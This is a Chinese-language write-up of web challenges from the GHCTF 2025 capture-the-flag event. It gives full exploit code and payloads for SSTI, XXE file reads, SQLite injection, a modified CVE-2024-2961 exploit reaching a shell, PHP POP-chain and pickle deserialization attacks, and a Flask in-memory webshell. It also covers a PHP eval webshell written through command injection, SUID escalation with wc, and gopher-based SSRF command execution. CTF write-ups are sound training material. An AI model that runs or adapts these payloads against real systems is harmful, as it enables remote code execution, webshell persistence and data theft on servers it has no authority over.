2025GHCTF-web
2025
1.upload?SSTI!
给了源码
import os
import re
from flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirect
from werkzeug.utils import secure_filename
import os
from werkzeug.utils import secure_filename
app = Flask(__name__)
# 配置信息
UPLOAD_FOLDER = 'static/uploads' # 上传文件保存目录
ALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'}
MAX_CONTENT_LENGTH = 16 * 1024 * 1024 # 限制上传大小为 16MB
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_CONTENT_LENGTH
# 创建上传目录(如果不存在)
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def is_safe_path(basedir, path):
return os.path.commonpath([basedir,path])
def contains_dangerous_keywords(file_path):
dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]
with open(file_path, 'rb') as f:
file_content = str(f.read())
for keyword in dangerous_keywords:
if keyword in file_content:
return True # 找到危险关键字,返回 True
return False # 文件内容中没有危险关键字
def allowed_file(filename):
return '.' in filename and
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
# 检查是否有文件被上传
if 'file' not in request.files:
return jsonify({"error": "未上传文件"}), 400
file = request.files['file']
# 检查是否选择了文件
if file.filename == '':
return jsonify({"error": "请选择文件"}), 400
# 验证文件名和扩展名
if file and allowed_file(file.filename):
# 安全处理文件名
filename = secure_filename(file.filename)
# 保存文件
save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
file.save(save_path)
# 返回文件路径(绝对路径)
return jsonify({
"message": "File uploaded successfully",
"path": os.path.abspath(save_path)
}), 200
else:
return jsonify({"error": "文件类型错误"}), 400
# GET 请求显示上传表单(可选)
return '''
<!doctype html>
<title>Upload File</title>
<h1>Upload File</h1>
<form method=post enctype=multipart/form-data>
<input type=file name=file>
<input type=submit value=Upload>
</form>
'''
@app.route('/file/<path:filename>')
def view_file(filename):
try:
# 1. 过滤文件名
safe_filename = secure_filename(filename)
if not safe_filename:
abort(400, description="无效文件名")
# 2. 构造完整路径
file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)
# 3. 路径安全检查
if not is_safe_path(app.config['UPLOAD_FOLDER'], file_path):
abort(403, description="禁止访问的路径")
# 4. 检查文件是否存在
if not os.path.isfile(file_path):
abort(404, description="文件不存在")
suffix=os.path.splitext(filename)[1]
print(suffix)
if suffix==".jpg" or suffix==".png" or suffix==".gif":
return send_from_directory("static/uploads/",filename,mimetype='image/jpeg')
if contains_dangerous_keywords(file_path):
# 删除不安全的文件
os.remove(file_path)
return jsonify({"error": "Waf!!!!"}), 400
with open(file_path, 'rb') as f:
file_data = f.read().decode('utf-8')
tmp_str = """<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>查看文件内容</title>
</head>
<body>
<h1>文件内容:{name}</h1> <!-- 显示文件名 -->
<pre>{data}</pre> <!-- 显示文件内容 -->
<footer>
<p>© 2025 文件查看器</p>
</footer>
</body>
</html>
""".format(name=safe_filename, data=file_data)
return render_template_string(tmp_str)
except Exception as e:
app.logger.error(f"文件查看失败: {str(e)}")
abort(500, description="文件查看失败:{} ".format(str(e)))
# 错误处理(可选)
@app.errorhandler(404)
def not_found(error):
return {"error": error.description}, 404
@app.errorhandler(403)
def forbidden(error):
return {"error": error.description}, 403
if __name__ == '__main__':
app.run("0.0.0.0",debug=False)
ssti渲染,过滤也很好绕

去file下读取即可

2.(>﹏<)
页面访问后就是源码,读一下
from flask import Flask,request
import base64
from lxml import etree
import re
app = Flask(__name__)
@app.route('/')
def index():
return open(__file__).read()
@app.route('/ghctf',methods=['POST'])
def parse():
xml=request.form.get('xml')
print(xml)
if xml is None:
return "No System is Safe."
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
root = etree.fromstring(xml, parser)
name=root.find('name').text
return name or None
if __name__=="__main__":
app.run(host='0.0.0.0',port=8080)
没有过滤的xxe注入
import requests
url = "http://node2.anna.nssctf.cn:28466/ghctf"
xml_payload = """<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<root>
<name>&xxe;</name>
</root>
"""
data = {"xml": xml_payload}
response = requests.post(url, data=data)
print(response.text) # 输出 flag
3.SQL???
sqlite注入。过滤了引号
字段为5
查表
?id=1 union select 1,sqlite_version(),3,sql,5 from sqlite_master #

看到flag表里有flag字段。
查字段:
?id=1 union select 1,sqlite_version(),3,group_concat(flag),5 from flag#

4.ez_readfile(复现)
hash爆破+cve-2024-2961
艹了知道考的cve但是不会改脚本。唉代码功底太弱了

MD5强碰撞。绕过很简单,利用fastcoll生成两个md5一样的文件然后用脚本读取一下即可。


file_get_content读取文件内容。但是我们不知道flag的位置和文件名。这里猜不到。所以要打cve。
下载脚本后要修改一下,因为我们的send包不一样
主要就是修改53行的send函数和download函数为:
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
return self.session.post(
self.url,
params={"file": path},
data={
"a": b64decode("cHN5Y2hvCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFetWq88ihNWtZYYbaXqMoFf+9kkIi+P1ESiN3ZYuAjXbSzg1ExS1/tvEHQZAoJ9eyubdAX/bK6NRfQfhDyuAQ+bEtSBpUr5SA95RSrcK7G0D95jQ0DaMjmLwwB/i19oxtOLZDivhXwUdwbCOkO8DBv9u5jOFs63tjrzmbU5+f/C"),
"b": b64decode("cHN5Y2hvCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFetWq88ihNWtZYYbaXqMoFf+9mkIi+P1ESiN3ZYuAjXbSzg1ExS1/tvEHQZAgJ+eyubdAX/bK6NRfQfBDyuAQ+bEtSBpUr5SA95RSrcK7G0D95jw0DaMjmLwwB/i19oxtOLZDivhXwUdwbCOkM8DBv9u5jOFs63tjrzmTU5+f/C")
},
headers={"Content-Type": "application/x-www-form-urlencoded"}
)
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"</code>([sS]*)", flags=re.S).group(1)
print(response.text)
return base64.decode(data)
还要修改101行开始的check_vulnerable函数为:
def check_vulnerable(self) -> None:
"""Checks whether the target is reachable and properly allows for the various
wrappers and filters that the exploit needs.
"""
def safe_download(path: str) -> bytes:
try:
return self.remote.download(path)
except ConnectionError:
failure("Target not [b]reachable[/] ?")
def check_token(text: str, path: str) -> bool:
result = safe_download(path)
return text.encode() == result
text = tf.random.string(50).encode()
base64 = b64(text, misalign=True).decode()
path = f"data:text/plain;base64,{base64}"
result = safe_download(path)
if text not in result:
msg_failure("Remote.download did not return the test string")
print("--------------------")
print(f"Expected test string: {text}")
print(f"Got: {result}")
print("--------------------")
#failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")
msg_info("The [i]data://[/] wrapper works")
text = tf.random.string(50)
base64 = b64(text.encode(), misalign=True).decode()
path = f"php://filter//resource=data:text/plain;base64,{base64}"
if not check_token(text, path):
pass
#failure("The [i]php://filter/[/] wrapper does not work")
msg_info("The [i]php://filter/[/] wrapper works")
text = tf.random.string(50)
base64 = b64(compress(text.encode()), misalign=True).decode()
path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"
if not check_token(text, path):
pass
#failure("The [i]zlib[/] extension is not enabled")
msg_info("The [i]zlib[/] extension is enabled")
msg_success("Exploit preconditions are satisfied")
运行即可。主要python要是3.10版本

接收到shell

5.Popppppp
pop链,看似代码很多,但有很多没用的
<?php
error_reporting(0);
class CherryBlossom {
public $fruit1;
public $fruit2;
public function __construct($a) {
$this->fruit1 = $a;
}
function __destruct() {
echo $this->fruit1;
}
public function __toString() {
$newFunc = $this->fruit2;
return $newFunc();
}
}
class Forbidden {
private $fruit3;
public function __construct($string) {
$this->fruit3 = $string;
}
public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}
class Warlord {
public $fruit4;
public $fruit5;
public $arg1;
public function __call($arg1, $arg2) {
$function = $this->fruit4;
return $function();
}
public function __get($arg1) {
$this->fruit5->ll2('b2');
}
}
class Samurai {
public $fruit6;
public $fruit7;
public function __toString() {
$long = @$this->fruit6->add();
return $long;
}
public function __set($arg1, $arg2) {
if ($this->fruit7->tt2) {
echo "xxx are the best!!!";
}
}
}
class Mystery {
public function __get($arg1) {
array_walk($this, function ($day1, $day2) {
$day3 = new $day2($day1);
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
}
}
class Princess {
protected $fruit9;
protected function addMe() {
return "The time spent with xxx is my happiest time" . $this->fruit9;
}
public function __call($func, $args) {
call_user_func([$this, $func . "Me"], $args);
}
}
class Philosopher {
public $fruit10;
public $fruit11="sr22kaDugamdwTPhG5zU";
public function __invoke() {
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}
}
class UselessTwo {
public $hiddenVar = "123123";
public function __construct($value) {
$this->hiddenVar = $value;
}
public function __toString() {
return $this->hiddenVar;
}
}
class Warrior {
public $fruit12;
private $fruit13;
public function __set($name, $value) {
$this->$name = $value;
if ($this->fruit13 == "xxx") {
strtolower($this->fruit12);
}
}
}
class UselessThree {
public $dummyVar;
public function __call($name, $args) {
return $name;
}
}
class UselessFour {
public $lalala;
public function __destruct() {
echo "Hehe";
}
}
if (isset($_GET['GHCTF'])) {
unserialize($_GET['GHCTF']);
} else {
highlight_file(__FILE__);
}
注意到Mystery类的get方法中,array_walk函数可以利用php文件读取类来进行文件读取。
php文件读取类我自己就熟悉两个。
1.利用GlobIterator类测文件路径
2.利用SplFileObject类进行文件读取
这两个通常可以配合php伪协议来进行读取。
这样就找到了链尾,_get()方法当访问一个对象的不存在或不可访问的属性时自动调用
接下来触发get : 我们发现Philosopher类中_invoke()有$this->fruit10->hey刚好可以触发。但是要绕过双重md5。
接下来就触发invoke: _invoke()方法当将一个对象作为函数进行调用时自动调用。发现Warlord类的call()方法中return $function(); 刚好可以调用。
接下来就触发call: 而call()方法当调用不存在或不可见的成员方法时触发。Samurai类的_toString()方法中$long = @$this->fruit6->add();可以触发
接下来就触发toString:toString()方法当使用echo或print输出对象将对象转化为字符串形式时调用
CherryBlossom类的echo $this->fruit1; 可以触发。
至此链子结束,为:
CherryBlossom{__destruct()}-->Samurai{__toString()}-->Warlord{__call}-->Philosopher{__invoke()}-->Mystery{__get($arg1)}
MD5爆破脚本:
<?php
function findDoubleMd5Match() {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; // 可用的字符集
$maxAttempts = 1000000; // 最大尝试次数,防止无限循环
$attempts = 0;
while ($attempts < $maxAttempts) {
// 生成随机字符串
$randomString = '';
for ($i = 0; $i < 10; $i++) { // 生成长度为 10 的随机字符串
$randomString .= $chars[rand(0, strlen($chars) - 1)];
}
// 计算双重 MD5 值
$md5Once = md5($randomString);
$md5Twice = md5($md5Once);
// 检查前三位是否为 '666',第四位是否为字母
if (substr($md5Twice, 0, 3) === '666' && ctype_alpha($md5Twice[3])) {
return [
'string' => $randomString,
'md5_once' => $md5Once,
'md5_twice' => $md5Twice
];
}
$attempts++;
}
return null; // 未找到符合条件的字符串
}
// 执行查找
$result = findDoubleMd5Match();
if ($result) {
echo "找到符合条件的字符串:n";
echo "字符串: " . $result['string'] . "n";
echo "第一次 MD5: " . $result['md5_once'] . "n";
echo "第二次 MD5: " . $result['md5_twice'] . "n";
} else {
echo "未找到符合条件的字符串。n";
}
?>
exp:
<?php
error_reporting(0);
class CherryBlossom {
public $fruit1;
public $fruit2;
function __destruct() {
echo $this->fruit1;
}
public function __toString() {
$newFunc = $this->fruit2;
return $newFunc();
}
}
class Warlord {
public $fruit4;
public $fruit5;
public $arg1;
public function __call($arg1, $arg2) {
$function = $this->fruit4;
return $function();
}
public function __get($arg1) {
$this->fruit5->ll2('b2');
}
}
class Samurai {
public $fruit6;
public $fruit7;
public function __toString() {
$long = @$this->fruit6->add();
return $long;
}
public function __set($arg1, $arg2) {
if ($this->fruit7->tt2) {
echo "xxx are the best!!!";
}
}
}
class Mystery {
public $SplFileObject="/flag44545615441084";//读flag
#public $GlobIterator="/*";//查找根目录文件
public function __get($arg1) {
array_walk($this, function ($day1, $day2) {
$day3 = new $day2($day1);
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
}
}
class Philosopher {
public $fruit10;
public $fruit11="Bc3lHc7ahC";
public function __invoke() {
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}
}
$CherryBlossom= new CherryBlossom();
$Samurai = new Samurai();
$Warlord= new Warlord();
$Philosopher=new Philosopher();
$Mystery=new Mystery();
$CherryBlossom->fruit1=$Samurai;
$Samurai->fruit6=$Warlord;
$Warlord->fruit4=$Philosopher;
$Philosopher->fruit10=$Mystery;
echo urlencode(serialize($CherryBlossom));
链子不止这一种,还有其他的。可自行选择。
6.upupup(复现)
也是学到了新的绕过方式。
观察是apache服务器,并且对上传的文件名和文件内容都有检查。过滤了GIF89a魔术头
我们上传.htaccess会被检测到。利用以下两种注释符绕过getimagesize和exif_imagetype
x00
#
上传.htaccess。内容为:

在上传1.jpg

蚁剑连接即可。
7.ezzzz_pickle(复现)
弱密码admin/admin123登录进去后,点击flag抓包。直接将文件名改掉。
读源码(非预期直接读docker-entrypoint.sh)

源码如下:
from flask import Flask, request, redirect, make_response, render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import base64
import time
import os
app = Flask(__name__)
# 生成加密所需的密钥 (key) 和初始向量 (IV)
def generate_key_iv():
key = os.environ.get('SECRET_key').encode() # 从环境变量中获取密钥
iv = os.environ.get('SECRET_iv').encode() # 从环境变量中获取 IV
return key, iv
# AES 加密与解密函数
def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) # 创建 AES CBC 模式的加密对象
if mode == 'encrypt': # 加密模式
encryptor = cipher.encryptor()
padder = padding.PKCS7(algorithms.AES.block_size).padder() # PKCS7 填充
padded_data = padder.update(data.encode()) + padder.finalize() # 对数据进行填充
result = encryptor.update(padded_data) + encryptor.finalize() # 进行 AES 加密
return base64.b64encode(result).decode() # 返回 Base64 编码后的加密数据
elif mode == 'decrypt': # 解密模式
decryptor = cipher.decryptor()
encrypted_data_bytes = base64.b64decode(data) # 先解码 Base64
decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize() # 进行 AES 解密
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder() # 去填充
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
return unpadded_data.decode() # 返回解密后的字符串
# 用户数据库(仅存储在内存中)
users = {
"admin": "admin123", # 仅一个用户 admin
}
# 创建用户会话 (Session)
def create_session(username):
session_data = {
"username": username,
"expires": time.time() + 3600 # 1 小时后过期
}
pickled = pickle.dumps(session_data) # 将 session 数据序列化
pickled_data = base64.b64encode(pickled).decode('utf-8') # Base64 编码
key, iv = generate_key_iv() # 获取密钥和 IV
session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt') # 加密 session
return session # 返回加密后的 session
# 下载静态文件内容
def dowload_file(filename):
path = os.path.join("static", filename) # 仅允许访问 static 目录下的文件
with open(path, 'rb') as f:
data = f.read().decode('utf-8') # 读取文件内容并转换为字符串
return data
# 验证会话 (Session) 是否有效
def validate_session(cookie):
try:
key, iv = generate_key_iv() # 获取密钥和 IV
pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt') # 先解密
pickled_data = base64.b64decode(pickled) # 进行 Base64 解码
session_data = pickle.loads(pickled_data) # 反序列化回原始数据
if session_data["username"] != "admin": # 仅允许 admin 访问
return False
return session_data if session_data["expires"] > time.time() else False # 检查是否过期
except:
return False # 解密失败或数据格式不正确时,返回 False
# 主页路由
@app.route("/", methods=['GET', 'POST'])
def index():
if "session" in request.cookies: # 检查 Cookie 是否包含 session
session = validate_session(request.cookies["session"]) # 验证 session
if session: # 如果 session 有效
data = ""
filename = request.form.get("filename") # 获取表单提交的文件名
if filename:
data = dowload_file(filename) # 读取文件内容
return render_template("index.html", name=session['username'], file_data=data) # 渲染页面
return redirect("/login") # 未登录则重定向到登录页面
# 登录页面
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST": # 处理 POST 请求
username = request.form.get("username") # 获取用户名
password = request.form.get("password") # 获取密码
if users.get(username) == password: # 验证用户名和密码
resp = make_response(redirect("/")) # 认证成功后跳转到主页
resp.set_cookie("session", create_session(username)) # 生成加密 session 并存入 Cookie
return resp
return render_template("login.html", error="Invalid username or password") # 失败则返回错误信息
return render_template("login.html") # GET 请求渲染登录页面
# 退出登录
@app.route("/logout")
def logout():
resp = make_response(redirect("/login")) # 退出后重定向到登录页面
resp.delete_cookie("session") # 删除 session Cookie
return resp
# 运行 Flask 应用
if __name__ == "__main__":
app.run(host="0.0.0.0", debug=False) # 监听所有 IP,关闭 debug 模式
分析后得出:session构造是经过pickle序列化然后base64编码然后aes加密。解密时先aes解密然后base64解码然后pickle反序列化。
那么我们就按照这样的思路伪造session来控制pickle反序列化。
这里aes加密用到key和iv可以读取环境变量获得

直接打内存马,exp:
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import base64
import time
import os
class Exp:
def __reduce__(self):
return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()",))
def generate_key_iv():
key = b"ajwdopldwjdowpajdmslkmwjrfhgnbbv"
iv = b"asdwdggiouewhgpw"
return key, iv
def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
if mode == 'encrypt':
encryptor = cipher.encryptor()
padder = padding.PKCS7(algorithms.AES.block_size).padder()
padded_data = padder.update(data.encode()) + padder.finalize()
result = encryptor.update(padded_data) + encryptor.finalize()
return base64.b64encode(result).decode()
elif mode == 'decrypt':
decryptor = cipher.decryptor()
encrypted_data_bytes = base64.b64decode(data)
decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
return unpadded_data.decode()
users = {"admin": "admin123"}
def create_session(username):
session_data = {"username": username, "expires": time.time() + 3600,}
pickled = pickle.dumps(session_data)
pickled_data = base64.b64encode(pickled).decode('utf-8')
print(pickled_data)
key, iv = generate_key_iv()
session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt')
print("[+]session:"+session)
return session
def validate_session(cookie):
try:
key, iv = generate_key_iv()
pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')
# print(pickled)
pickled_data = base64.b64decode(pickled)
# print(pickled_data)
session_data = pickle.loads(pickled_data)
print(session_data)
if session_data["username"] != "admin":
return False
return session_data if session_data["expires"] > time.time() else False
except:
return False
exp = Exp()
create_session(exp)
然后随便访问个不存在的页面触发内存马:

8.GetShell(复现)
源码:
<?php
highlight_file(__FILE__);
class ConfigLoader {
private $config;
public function __construct() {
$this->config = [
'debug' => true,
'mode' => 'production',
'log_level' => 'info',
'max_input_length' => 100,
'min_password_length' => 8,
'allowed_actions' => ['run', 'debug', 'generate']
];
}
public function get($key) {
return $this->config[$key] ?? null;
}
}
class Logger {
private $logLevel;
public function __construct($logLevel) {
$this->logLevel = $logLevel;
}
public function log($message, $level = 'info') {
if ($level === $this->logLevel) {
echo "[LOG] $messagen";
}
}
}
class UserManager {
private $users = [];
private $logger;
public function __construct($logger) {
$this->logger = $logger;
}
public function addUser($username, $password) {
if (strlen($username) < 5) {
return "Username must be at least 5 characters";
}
if (strlen($password) < 8) {
return "Password must be at least 8 characters";
}
$this->users[$username] = password_hash($password, PASSWORD_BCRYPT);
$this->logger->log("User $username added");
return "User $username added";
}
public function authenticate($username, $password) {
if (isset($this->users[$username]) && password_verify($password, $this->users[$username])) {
$this->logger->log("User $username authenticated");
return "User $username authenticated";
}
return "Authentication failed";
}
}
class StringUtils {
public static function sanitize($input) {
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}
public static function generateRandomString($length = 10) {
return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
}
}
class InputValidator {
private $maxLength;
public function __construct($maxLength) {
$this->maxLength = $maxLength;
}
public function validate($input) {
if (strlen($input) > $this->maxLength) {
return "Input exceeds maximum length of {$this->maxLength} characters";
}
return true;
}
}
class CommandExecutor {
private $logger;
public function __construct($logger) {
$this->logger = $logger;
}
public function execute($input) {
if (strpos($input, ' ') !== false) {
$this->logger->log("Invalid input: space detected");
die('No spaces allowed');
}
@exec($input, $output);
$this->logger->log("Result: $input");
return implode("n", $output);
}
}
class ActionHandler {
private $config;
private $logger;
private $executor;
public function __construct($config, $logger) {
$this->config = $config;
$this->logger = $logger;
$this->executor = new CommandExecutor($logger);
}
public function handle($action, $input) {
if (!in_array($action, $this->config->get('allowed_actions'))) {
return "Invalid action";
}
if ($action === 'run') {
$validator = new InputValidator($this->config->get('max_input_length'));
$validationResult = $validator->validate($input);
if ($validationResult !== true) {
return $validationResult;
}
return $this->executor->execute($input);
} elseif ($action === 'debug') {
return "Debug mode enabled";
} elseif ($action === 'generate') {
return "Random string: " . StringUtils::generateRandomString(15);
}
return "Unknown action";
}
}
if (isset($_REQUEST['action'])) {
$config = new ConfigLoader();
$logger = new Logger($config->get('log_level'));
$actionHandler = new ActionHandler($config, $logger);
$input = $_REQUEST['input'] ?? '';
echo $actionHandler->handle($_REQUEST['action'], $input);
} else {
$config = new ConfigLoader();
$logger = new Logger($config->get('log_level'));
$userManager = new UserManager($logger);
if (isset($_POST['register'])) {
$username = $_POST['username'];
$password = $_POST['password'];
echo $userManager->addUser($username, $password);
}
if (isset($_POST['login'])) {
$username = $_POST['username'];
$password = $_POST['password'];
echo $userManager->authenticate($username, $password);
}
$logger->log("No action provided, running default logic");
}
看起来很长,其实都没啥用。chatgpt审一下就会告诉你可以命令执行。
CommandExecutor类直接调用exec函数可以导致命令执行。触发条件是action=run。
我们直接写马进去。
payload:
?action=run&input=echo%09PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=|base64%09-d%3Eshell.php
蚁剑连接然后访问flag

无权限。
这里用到suid提权:

发现一个wc的文件。https://gtfobins.github.io/。
查看之后发现可以用来文件读取。

细看wc用法:https://gtfobins.github.io/gtfobins/wc/

直接使用:

9.Goph3rrr
扫目录扫到app.py,访问后下载审源码:
@app.route('/Login', methods=['GET', 'POST'])
def login():
junk_code()
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users and users[username]['password'] == hashlib.md5(password.encode()).hexdigest():
return b64e(f"Welcome back, {username}!")
return b64e("Invalid credentials!")
return render_template_string("""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
body {
background-color: #f8f9fa;
}
.container {
max-width: 400px;
margin-top: 100px;
}
.card {
border: none;
border-radius: 10px;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}
.card-header {
background-color: #007bff;
color: white;
text-align: center;
border-radius: 10px 10px 0 0;
}
.btn-primary {
background-color: #007bff;
border: none;
}
.btn-primary:hover {
background-color: #0056b3;
}
</style>
</head>
<body>
<div class="container">
<div class="card">
<div class="card-header">
<h3>Login</h3>
</div>
<div class="card-body">
<form method="POST">
<div class="mb-3">
<label for="username" class="form-label">Username</label>
<input type="text" class="form-control" id="username" name="username" required>
</div>
<div class="mb-3">
<label for="password" class="form-label">Password</label>
<input type="password" class="form-control" id="password" name="password" required>
</div>
<button type="submit" class="btn btn-primary w-100">Login</button>
</form>
</div>
</div>
</div>
</body>
</html>
""")
@app.route('/Gopher')
def visit():
url = request.args.get('url')
if url is None:
return "No url provided :)"
url = urlparse(url)
realIpAddress = socket.gethostbyname(url.hostname)
if url.scheme == "file" or realIpAddress in BlackList:
return "No (≧∇≦)"
result = subprocess.run(["curl", "-L", urlunparse(url)], capture_output=True, text=True)
return result.stdout
@app.route('/RRegister', methods=['GET', 'POST'])
def register():
junk_code()
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users:
return b64e("Username already exists!")
users[username] = {'password': hashlib.md5(password.encode()).hexdigest()}
return b64e("Registration successful!")
return render_template_string("""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Register</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
body {
background-color: #f8f9fa;
}
.container {
max-width: 400px;
margin-top: 100px;
}
.card {
border: none;
border-radius: 10px;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}
.card-header {
background-color: #28a745;
color: white;
text-align: center;
border-radius: 10px 10px 0 0;
}
.btn-success {
background-color: #28a745;
border: none;
}
.btn-success:hover {
background-color: #218838;
}
</style>
</head>
<body>
<div class="container">
<div class="card">
<div class="card-header">
<h3>Register</h3>
</div>
<div class="card-body">
<form method="POST">
<div class="mb-3">
<label for="username" class="form-label">Username</label>
<input type="text" class="form-control" id="username" name="username" required>
</div>
<div class="mb-3">
<label for="password" class="form-label">Password</label>
<input type="password" class="form-control" id="password" name="password" required>
</div>
<button type="submit" class="btn btn-success w-100">Register</button>
</form>
</div>
</div>
</div>
</body>
</html>
""")
@app.route('/Manage', methods=['POST'])
def cmd():
if request.remote_addr != "127.0.0.1":
return "Forbidden!!!"
if request.method == "GET":
return "Allowed!!!"
if request.method == "POST":
return os.popen(request.form.get("cmd")).read()
@app.route('/Upload', methods=['GET', 'POST'])
def upload_avatar():
junk_code()
if request.method == 'POST':
username = request.form.get('username')
if username not in users:
return b64e("User not found!")
file = request.files.get('avatar')
if file:
file.save(os.path.join(avatar_dir, f"{username}.png"))
return b64e("Avatar uploaded successfully!")
return b64e("No file uploaded!")
return render_template_string("""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Upload Avatar</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
body {
background-color: #f8f9fa;
}
.container {
max-width: 400px;
margin-top: 100px;
}
.card {
border: none;
border-radius: 10px;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}
.card-header {
background-color: #dc3545;
color: white;
text-align: center;
border-radius: 10px 10px 0 0;
}
.btn-danger {
background-color: #dc3545;
border: none;
}
.btn-danger:hover {
background-color: #c82333;
}
</style>
</head>
<body>
<div class="container">
<div class="card">
<div class="card-header">
<h3>Upload Avatar</h3>
</div>
<div class="card-body">
<form method="POST" enctype="multipart/form-data">
<div class="mb-3">
<label for="username" class="form-label">Username</label>
<input type="text" class="form-control" id="username" name="username" required>
</div>
<div class="mb-3">
<label for="avatar" class="form-label">Avatar</label>
<input type="file" class="form-control" id="avatar" name="avatar" required>
</div>
<button type="submit" class="btn btn-danger w-100">Upload</button>
</form>
</div>
</div>
</div>
</body>
</html>
""")
@app.route('/app.py')
def download_source():
return send_file(__file__, as_attachment=True)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
就是看Manage路由和Gopher路由
manage路由要求是本地访问,cmd参数可以用来执行命令。
gopher路由有curl刚好可以访问内网。
配合gopher协议打ssrf即可

注意这里每一行都是有换行的
然后配合gopher协议即可
payload:
url/Gopher?url=gopher%3A//0.0.0.0%3A8000/_POST%2520/Manage%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A8000%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25207%250D%250A%250D%250Acmd%253Denv%250D%250A
10.Escape!
看源码,可以发现

当isadmin为true时可以写入文件内容。这里是考的用base64绕过死亡exit
如何让isadmin为true?。这题不知道secretkey是没办法伪造token的。
我们看到下面的代码:

登录的时候会序列化用户信息并且经过waf文件过滤

这个waf明显存在反序列化逃逸。
我们想要让user类序列化后为
O:4:"User":2:{s:8:"username";s:3:"asd";s:7:"isadmin";b:1;}
这里看出要逃逸最后的21个字符。那就构造每一个&&能逃逸3个。那就来7个&&
所以我们只要注册的用户名为
&&&&&&&&&&&&&&asd";s:7:"isadmin";b:1;}
即可
注册完登录进去后,写文件即可


11.Message in a Bottle(复现)
经典留言板,以为是xss。
源码:
def waf(message):
return message.replace("{", "").replace("}", "")
@app.route('/')
def index():
return template(handle_message(messages))
@app.route('/Clean')
def Clean():
global messages
messages = []
return '<script>window.location.href="/"</script>'
@app.route('/submit', method='POST')
def submit():
message = waf(request.forms.get('message'))
messages.append(message)
return template(handle_message(messages))
if __name__ == '__main__':
run(app, host='localhost', port=9000)
模板渲染的函数,还用了bottle库。
bottle库的渲染函数可以嵌入python代码。具体见:
